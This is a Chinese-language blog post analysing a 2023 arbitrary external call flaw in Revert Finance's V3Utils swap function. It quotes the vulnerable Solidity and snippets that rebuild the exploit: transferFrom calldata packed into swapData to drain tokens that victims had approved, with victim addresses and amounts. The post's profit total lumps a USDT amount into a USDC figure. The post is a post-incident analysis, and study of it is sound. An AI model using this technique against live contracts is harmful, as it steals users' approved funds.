RevertFinance任意代码执行漏洞

说明

一个很直接的任意代码执行漏洞

基本信息

漏洞函数

swap

以下此合约的任意代吗执行漏洞中的关键函数swap_swap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
function swap(SwapParams calldata params) external payable returns (uint256 amountOut) {

_prepareAdd(params.tokenIn, IERC20(address(0)), IERC20(address(0)), params.amountIn, 0, 0);

uint amountInDelta;
(amountInDelta, amountOut) = _swap(params.tokenIn, params.tokenOut, params.amountIn, params.minAmountOut, params.swapData);

// send swapped amount of tokenOut
if (amountOut > 0) {
_transferToken(params.recipient, params.tokenOut, amountOut, params.unwrap);
}

// if not all was swapped - return leftovers of tokenIn
uint leftOver = params.amountIn - amountInDelta;
if (leftOver > 0) {
_transferToken(params.recipient, params.tokenIn, leftOver, params.unwrap);
}
}


function _swap(IERC20 tokenIn, IERC20 tokenOut, uint amountIn, uint amountOutMin, bytes memory swapData) internal returns (uint amountInDelta, uint256 amountOutDelta) {
if (amountIn > 0 && swapData.length > 0 && address(tokenOut) != address(0)) {
uint balanceInBefore = tokenIn.balanceOf(address(this));
uint balanceOutBefore = tokenOut.balanceOf(address(this));

// get router specific swap data
(address swapRouter, address allowanceTarget, bytes memory data) = abi.decode(swapData, (address, address, bytes));

// approve needed amount
tokenIn.approve(allowanceTarget, amountIn);

// execute swap
(bool success,) = swapRouter.call(data);
if (!success) {
revert SwapFailed();
}

// remove any remaining allowance
tokenIn.approve(allowanceTarget, 0);

uint balanceInAfter = tokenIn.balanceOf(address(this));
uint balanceOutAfter = tokenOut.balanceOf(address(this));

amountInDelta = balanceInBefore - balanceInAfter;
amountOutDelta = balanceOutAfter - balanceOutBefore;

// amountMin slippage check
if (amountOutDelta < amountOutMin) {
revert SlippageError();
}

// event for any swap with exact swapped value
emit Swap(address(tokenIn), address(tokenOut), amountInDelta, amountOutDelta);
}
}

通过代码之间的调用关系,梳理出如下的调用关系图:

image-20230313230125385

通过swap()函数的SwapParams calldata params参数,最终可以执行swapRouter.call(data)。其中的swapRouter.calldata都是有输入控制的,所以理论上就是可以达到任意代码执行的效果。

攻击获利的方式基本上和其他的任意代码执行的套路一样,通过调用Token的transfer方法。将受害者授权到当前漏洞合约中的代币全部转走。

攻击分析

Victim

前面说了,这种漏洞最常见的做法就是找到一个已经授权给漏洞合约的用户以及对应的代币,最终通过任意代码执行的方式全部转移走。在 0xdaccbc437cb07427394704fbcc8366589ffccf974ec6524f3483844b043f31d5 案例中,攻击者找到了两个受害者。

下面就以其中一个具体的受害者 0x067d0f9089743271058d4bf2a1a29f4e9c6fdd1b 来进行分析。

分析受害者可以转账USDC的最大金额。

1
2
3
4
uint256 transferAmount = USDC.balanceOf(victims[i]);
if (USDC.allowance(victims[i], address(utils)) < transferAmount) {
transferAmount = USDC.allowance(victims[i], address(utils));
}

最终计算,受害者可以转账USDC的最大金额是19305581627

swapdata

确定了攻击目标之后,接下来就是构造payload。第一步就是构造swapdata。构造方法对应于swap的解构方法。如下所示:

1
2
3
4
bytes memory data = abi.encodeWithSignature(
"transferFrom(address,address,uint256)", victim, address(this), transferAmount
);
bytes memory swapdata = abi.encode(address(USDC), address(this), data);

SwapParams

最终调用swap()方法需要传递的是SwapParams类型的参数,所以需要构造出一个这样的参数。

1
2
3
4
5
6
7
8
9
10
V3Utils.SwapParams memory params = V3Utils.SwapParams({
tokenIn: address(this),
tokenOut: address(this),
amountIn: 1,
minAmountOut: 0,
recipient: address(this),
swapData: swapdata,
unwrap: false
});
utils.swap(params);

swap函数

最后通过V3Utils.swap(params)触发攻击。

查看实际的攻击过程:

  1. 攻击合约调用漏洞合约的swap()函数;
  2. 漏洞合约swap()函数,调用内部的_swap()函数;
  3. 最终触发了swapRouter.call(data)这个任意代码执行漏洞,将受害者数量为19305581627的USDC全部转移到了攻击者的地址。

除了从这个受害者这里获得USDC之外,攻击者是通过这个受害者获得了其授权的USDT,数量是4106316699

接下来,攻击者还选定了另一个受害者0x4107a0a4a50ac2c4cc8c5a3954bc01ff134506b2,攻击的金额是500000000

获利分析

攻击者通过对于两个受害者的攻击,最终获得的USDC的数量是:

1
19305581627 + 500000000 + 4106316699  = 23911898326

查看实际的攻击调用:

总结

总体来说,合约RevertFinance的任意代码执行的漏洞整体还是十分的直接,利用方法也很简单。之前也强调过,对于这种漏洞,普通用户尤其要注意自己的授权金额,不要轻易授权大量的金额,授权操作完毕之后记得及时取消。

参考

https://mirror.xyz/revertfinance.eth/3sdpQ3v9vEKiOjaHXUi3TdEfhleAXXlAEWeODrRHJtU

文章作者: Oooverflow
文章链接: https://www.oooverflow.com/2023/03/13/RevertFinance-Arbitrary-External-Call-Vulnerability/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Oooverflow